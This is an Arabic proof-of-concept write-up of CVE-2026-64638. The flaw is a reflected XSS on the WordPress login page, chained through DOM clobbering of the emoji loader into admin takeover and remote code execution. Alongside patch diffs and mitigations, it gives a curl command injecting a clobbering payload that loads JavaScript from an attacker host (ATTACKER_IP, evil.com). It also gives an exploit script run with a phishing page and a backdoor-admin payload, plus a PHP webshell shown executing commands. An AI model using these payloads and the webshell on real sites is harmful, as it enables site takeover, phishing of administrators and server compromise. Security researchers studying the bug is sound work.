
استغلال لإثبات المفهوم لثغرة CVE-2026-64638: XSS منعكسة في تسجيل دخول WordPress مقترنة بـ DOM clobbering لتحقيق الاستيلاء على حساب المسؤول وتنفيذ التعليمات البرمجية عن بُعد.
البرنامج: نواة ووردبريس ≤ 7.0.2 (جميع الإصدارات السابقة للإصدار 7.0.3)
CVSS: 8.9 (عالية)
CWE: CWE-79 — معالجة غير سليمة لإدخال المستخدم أثناء إنشاء صفحة الويب
المصادقة المطلوبة: لا شيء (قبل المصادقة)
تفاعل المستخدم: نشط (يحتاج المسؤول إلى النقر على رابط واحد)
الأثر: XSS → الاستيلاء على الحساب → تنفيذ التعليمات البرمجية عن بُعد
ووردبريس هو نظام إدارة المحتوى الأكثر شعبية في العالم، حيث يستحوذ على أكثر من 40% من جميع المواقع على الإنترنت. يحتوي كل موقع ووردبريس على صفحة تسجيل دخول على الرابط /wp-login.php — وهي نقطة نهاية عامة يمكن لأي شخص الوصول إليها دون مصادقة.
عندما يُدخل المستخدم اسم مستخدم غير صحيح، يعرض ووردبريس رسالة خطأ تحتوي على اسم المستخدم نفسه الذي كتبه المستخدم للتو: "اسم المستخدم X غير مسجل في هذا الموقع." تكمن المشكلة في أن قيمة اسم المستخدم تُوضع مباشرة في استجابة HTML دون المرور عبر أي دالة تهريب (escape) — كل ما يحتاجه المهاجم هو إدخال HTML/JavaScript بدلاً من اسم مستخدم حقيقي، وسيتم تنفيذ الكود في المتصفح.
هذه ثغرة XSS منعكسة (Reflected XSS) — الحمولة موجودة في الطلب ويعيدها الخادم مطابقة تمامًا في HTML. ما يجعلها خطيرة هو أن الثغرة تقع في صفحة تسجيل الدخول — وهو مكان يتردد عليه المسؤولون باستمرار، حيث يمكن سرقة ملفات تعريف ارتباط الجلسة الخاصة بالمسؤول.
اكتشف فريق البحث أيضًا أن هذه الثغرة يمكن ربطها بثغرة DOM Clobbering في مُحمّل الرموز التعبيرية (emoji-loader) في ووردبريس، مما يسمح بتحميل JavaScript من خادم خارجي. ومن هناك، يمكن للمهاجم إنشاء حساب مسؤول جديد ← تثبيت إضافة تحتوي على ويب شيل ← تنفيذ كود PHP على الخادم. يُشار إلى سلسلة الاستغلال هذه باسم XSS2Shell.
يقوم ووردبريس بتحميل دعم الرموز التعبيرية في كل صفحة (بما في ذلك صفحة تسجيل الدخول) عبر الملف emoji-loader.js. يقرأ هذا السكربت الإعدادات من عنصر يحمل id="wp-emoji-settings":
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
تُرجع الدالة document.getElementById() أول عنصر في DOM يحمل معرفًا مطابقًا. إذا قام مهاجم بحقن <div id="wp-emoji-settings"> قبل وسم السكربت الأصلي، فستقرأ getElementById محتوى المهاجم بدلاً من الإعدادات الحقيقية. تُسمى هذه التقنية DOM Clobbering — استبدال سلوك JavaScript عن طريق حقن عناصر HTML.
يحتوي إعداد الرموز التعبيرية على رابط لتحميل ملف JavaScript (concatemoji). يتحكم المهاجم في هذا الرابط ← تحميل ملف JS من خادم خارجي ← تنفيذ كود تعسفي في سياق المتصفح.
بمجرد تحقيق تنفيذ JavaScript في سياق المسؤول، يحصل المهاجم على صلاحيات مسؤول ووردبريس كاملة:
/wp-admin/user-new.php بجلسة المسؤول/wp-admin/plugin-install.phpأي من الطرق الثلاث المذكورة أعلاه تتيح تنفيذ كود PHP على الخادم — أي RCE (تنفيذ التعليمات البرمجية عن بُعد).
من commit الإصلاح 0d6d42e في wordpress-develop، حددتُ 3 مواضع في الملف wp-includes/user.php حيث يُوضع اسم المستخدم/البريد الإلكتروني مباشرة في رسالة الخطأ:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
الموضع 1 — السطر 189 (اسم المستخدم غير موجود):
قبل:
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

بعد:
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
الموضع 2 — السطر 216 (كلمة مرور خاطئة):
قبل:

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
بعد:
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
الموضع 3 — السطر 299 (كلمة مرور خاطئة للبريد الإلكتروني):
قبل:

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
بعد:
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
تدفق البيانات من طلب POST إلى رسالة الخطأ:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
يمتلك ووردبريس طبقتين لتصفية الإدخال قبل وصول اسم المستخدم إلى HTML:
الطبقة 1: sanitize_user() — تستدعي strip_tags() لإزالة وسوم HTML. ومع ذلك، فإن strip_tags() في PHP لها حدود معروفة: التنسيق غير القياسي للوسوم يمكن أن يتجاوز الفلتر.
الطبقة 2: wp_kses_post() — تسمح بمرور مجموعة فرعية آمنة من HTML، بما في ذلك <div> و<a> و`` بخصائص معينة (ولكنها تزيل معالجات الأحداث مثل onerror وonload). الأهم: wp_kses_post تسمح بمرور <div id="wp-emoji-settings"> — وهو بالضبط العنصر المطلوب لـ DOM Clobbering.
وجد فريق pwn.ai طريقة لتجاوز الطبقتين لحقن حمولة مفيدة. لم يتم الكشف عن التفاصيل التقنية الدقيقة علنًا.
للتأكد بصريًا من أن اسم المستخدم ينتقل مباشرة إلى HTML دون تهريب، استخدمتُ Xdebug + VS Code لوضع نقاط توقف (breakpoints) عند نقاط رئيسية في سلسلة التنفيذ.
الخطوة 1 — إدخال حمولة XSS في نموذج تسجيل الدخول:
الوصول إلى http://localhost:8282/wp-login.php، أدخل اسم المستخدم كالتالي `` ثم انقر على "تسجيل الدخول". تظهر نافذة تنبيه — XSS تعمل.


الخطوة 2 — نقطة توقف عند user.php:184 — مكان حدوث XSS:
ضع نقطة توقف عند return new WP_Error(...) داخل الدالة wp_authenticate_username_password(). عندما يتوقف مصحح الأخطاء، لاحظ:
$username = "" — حمولة HTML سليمة وغير مُهرَّبة$_POST: log = "" — يؤكد أن الحمولة مصدرها إدخال النموذجwp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
تنتقل قيمة $username من $_POST['log'] ← wp_unslash() ← (تتجاوز sanitize_user) ← sprintf() إلى رسالة الخطأ عند الأسطر 186-189 — لا يوجد esc_html() بينها. في المختبر، تم تعطيل sanitize_user() بالتعليق لمحاكاة التجاوز الذي اكتشفه فريق pwn.ai.
الخطوة 3 — نقطة توقف عند functions.php:9200 — الإخراج النهائي:
ضع نقطة توقف عند echo wp_get_admin_notice( $message, $args ) — وهذا هو السطر الأخير قبل إخراج HTML إلى المتصفح:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — الحمولة موجودة سليمة داخل رسالة الخطأ في HTMLwp_kses_post() (أُزيل لمحاكاة التجاوز)، لذا تنتقل الحمولة مباشرة إلى المتصفح
في ووردبريس الأصلي، هذا السطر هو echo wp_kses_post( wp_get_admin_notice(...) ) — ستزيل wp_kses_post() خاصية onerror ولكنها تسمح بمرور <div id="wp-emoji-settings"> لأن <div> ضمن القائمة المسموحة. هذا هو المتجه الدقيق لهجوم DOM Clobbering.
يعدّل commit a12c8f5 الملف emoji-loader.js لمنع DOM Clobbering:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
يغيّر الإصلاح 3 أشياء:
querySelector('script#...') بدلاً من getElementById — يطابق فقط وسوم <script>instanceof HTMLScriptElement — يمنع DOM Clobbering عبر <div> أو ``.text بدلاً من .textContent — .text خاصية محددة لـ HTMLScriptElementبعد الإصلاح، حتى لو نجح المهاجم في حقن <div id="wp-emoji-settings">، سيتجاهله emoji-loader لأنه ليس عنصر <script>.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
الوصول إلى http://localhost:8282/wp-login.php، وأدخل:
انقر على "تسجيل الدخول". إذا ظهرت نافذة تنبيه تعرض "localhost" ← XSS تعمل.
النتيجة — الحمولة معكوسة سليمة في HTML:

حمولة أكثر تعقيدًا — حقن <div> يحمل id="wp-emoji-settings" بحيث يحتوي على JSON يشير إلى ملف JS الخاص بالمهاجم:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
إذا كان إخراج HTML يحتوي على <div id="wp-emoji-settings"> مع JSON الخاص بالمهاجم ← سيحمّل emoji-loader ملف JS من خادم المهاجم.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
يقدّم السكربت exploit.py شيئين:
http://127.0.0.1:9999/phish.html — صفحة تصيّد تنتحل صفة تحديث أمان ووردبريسhttp://127.0.0.1:9999/evil.js — حمولة JS تنشئ حساب مسؤول باب خلفييرسل المهاجم الرابط http://127.0.0.1:9999/phish.html إلى المسؤول عبر البريد الإلكتروني/الدردشة. عندما ينقر المسؤول:
/wp-login.php مع اسم مستخدم يحتوي على حمولة XSS<div id="wp-emoji-settings"> في HTMLemoji-loader.js الـ div المزيف ← يحمّل evil.js من خادم المهاجمevil.js في متصفح المسؤول ← يجلب /wp-admin/user-new.php للحصول على nonce ← ينشئ الحساب backdoor_xss2shell / Pwn3d!XSS2Shell
تحدث العملية برمتها تلقائيًا؛ لا يرى المسؤول سوى صفحة تسجيل الدخول العادية مع خطأ "اسم المستخدم غير موجود".
في المختبر، كان المسؤول قد سجّل دخوله بالفعل بـ admin / admin123 لذا عمل evil.js فورًا. بعد الحصول على وصول للحساب، قمت على الفور برفع ويب شيل عبر إضافة:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


أعاد الإخراج www-data — أصبح لدى المهاجم الآن صلاحيات تنفيذ الأوامر على الخادم.
/wp-login.php عامة دائمًا ولا يمكن إخفاؤها (إلا باستخدام إضافات لتغيير رابط تسجيل الدخول)HttpOnly بشكل صحيح) أو تصيّد بيانات الاعتمادالإصلاح 1 — تهريب الإخراج (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
الإصلاح 2 — تحصين emoji-loader (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
الإصلاح 3 — تهريب الرابط (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php تحتوي حمولة HTML في معامل logsanitize_user() لتطبيع أسماء المستخدمين، وليس لمنع XSS. الدفاع المتعمق: التهريب عند نقطة الإخراج (esc_html، esc_attr، esc_url) هو طبقة الدفاع الأخيرة والأكثر أهمية.getElementById للبيانات الحساسة أمنيًا. يمكن أن يؤدي DOM Clobbering إلى حقن عنصر مزيف بنفس المعرف. استخدم querySelector مع اسم وسم محدد + فحص instanceof.wp_kses_post ليست فلتر XSS. صُممت للسماح بـ HTML آمن في محتوى المقالات — وليس لمنع XSS في سياقات أخرى. كل سياق يتطلب دالة التهريب المخصصة له.| السمة | القيمة |
|---|
| معرف CVE | CVE-2026-64638 |
| درجة CVSS | 8.9 (عالية) |
| البرنامج | نواة ووردبريس ≤ 7.0.2 |
| المصادقة | لا شيء مطلوب (قبل المصادقة) |
| تفاعل المستخدم | يتطلب نقرة واحدة (ينقر المسؤول على الرابط) |
| تعقيد الهجوم | عالٍ |
| تم التصحيح | ووردبريس 7.0.3 (08/06/2026) |
| المُبلِّغ | فريق pwn.ai عبر HackerOne |
| تقرير HackerOne | #3877102 |
| مقياس CVSS | القيمة | السبب |
|---|
| متجه الهجوم | شبكة | عبر HTTP، بإرسال رابط إلى الضحية |
| تعقيد الهجوم | عالٍ | يتطلب تجاوز sanitize_user() + wp_kses_post()، ويتطلب نقرة من الضحية |
| الصلاحيات المطلوبة | لا شيء | نقطة نهاية تسجيل الدخول لا تتطلب مصادقة |
| تفاعل المستخدم | نشط | يجب أن ينقر المسؤول على رابط التصيّد |
| السرية | عالية | قراءة ملفات تعريف الارتباط والجلسة ومحتوى لوحة التحكم |
| النزاهة | عالية | إنشاء حساب مسؤول وتثبيت إضافة وتعديل الملفات |
| التوفر | عالٍ | RCE ← سيطرة كاملة على الخادم |